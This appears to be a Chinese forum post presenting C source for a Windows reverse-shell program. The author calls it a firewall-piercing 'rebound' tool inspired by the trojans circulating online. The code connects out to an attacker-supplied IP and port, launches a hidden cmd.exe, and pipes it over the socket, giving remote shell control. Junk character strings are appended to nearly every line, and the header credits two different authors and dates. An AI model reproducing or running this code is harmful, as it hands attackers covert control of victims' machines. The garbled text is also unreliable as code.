这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Tf(-Duxz
:c[iS~ ~Y
/* ============================== .xo#rt9_"=
Rebound port in Windows NT ;*>Y8^K&Q
By wind,2006/7 OPOL-2<wiy
===============================*/ j;6kN-jx
#include _Cn[|E
#include qIIc>By(\"
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#pragma comment(lib,"wsock32.lib") ,j\1UAa
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void OutputShell(); ^h
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SOCKET sClient; =kFZ2/P2t(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8WU_d`DF
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void main(int argc,char **argv) ]yI~S(
{ 50h?#u6?
WSADATA stWsaData; hDBVL"
int nRet; a^/j&9
SOCKADDR_IN stSaiClient,stSaiServer; {[&$W8Li
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if(argc != 3) $0+n0*fp
{ is`O,Met
printf("Useage:\n\rRebound DestIP DestPort\n"); PCKgdh},
return; rUgTJx&ds
} kD1[6cJ!=.
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WSAStartup(MAKEWORD(2,2),&stWsaData); )2vkaR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BO]}E:C9
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stSaiClient.sin_family = AF_INET; vhsHyb
stSaiClient.sin_port = htons(0); f-]5ZhM'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MYI*0o;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8/4i7oOC
{ 6IRzm6d
printf("Bind Socket Failed!\n"); \ct7~!qM
return; ?
}t[
} _}G1/`09#
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stSaiServer.sin_family = AF_INET; x,LQA0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U`*L` PM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `]*BDSvE
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +2&+Gh.h
{ %v)m&VUi%
printf("Connect Error!"); (>.+tq}
return; g+ZQ6Hz
} JIJ79HB
OutputShell(); dJ/(u&N
} -`d9dJ dB
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void OutputShell() O C qI
{ "V7
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char szBuff[1024]; iRwlK5(&
SECURITY_ATTRIBUTES stSecurityAttributes; U`25bb1Wj
OSVERSIONINFO stOsversionInfo; TOUP.,f/!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sD_"
STARTUPINFO stStartupInfo; 3d_PY,=1
char *szShell; I[td:9+hK@
PROCESS_INFORMATION stProcessInformation; Z#Q)a;RA
unsigned long lBytesRead; IJnh@?BC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'OERW|BO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tw)"#Y!T
stSecurityAttributes.lpSecurityDescriptor = 0; R MrrLT
stSecurityAttributes.bInheritHandle = TRUE; 4R8W ot
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;Xzay|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JE[+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ohy?l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `;'fCO!
stStartupInfo.wShowWindow = SW_HIDE; T@. $Zpz
stStartupInfo.hStdInput = hReadPipe; QqS?-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GiF})e}
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GetVersionEx(&stOsversionInfo); %uV bI'n)
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switch(stOsversionInfo.dwPlatformId) Gkfc@[Z V
{ 0xNlO9b/
case 1: ~w>Z !RuhT
szShell = "command.com"; #h#Bcv0 Z
break; 1.5lJ:[G
default: 8G SO] R
szShell = "cmd.exe"; $S|2'jc
break; f%1Dn }6
} X?F$jX|c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~6hG"t]:
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send(sClient,szMsg,77,0); hVfiF
while(1) ]:Q7Gys
{ X>
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M~G1ZB
if(lBytesRead) yL&_>cV
{ JqDj)}fzX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); GW(-'V/
send(sClient,szBuff,lBytesRead,0); OoFQ@zE7%
} LX
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else >:ZlYZ6sI
{ J{Z-4y
lBytesRead=recv(sClient,szBuff,1024,0); 10/N-=NG18
if(lBytesRead<=0) break; ; md{T'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G0^O7w^5
} F7(~v2|
} oadlyqlw#
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return; qdn\8Pn
}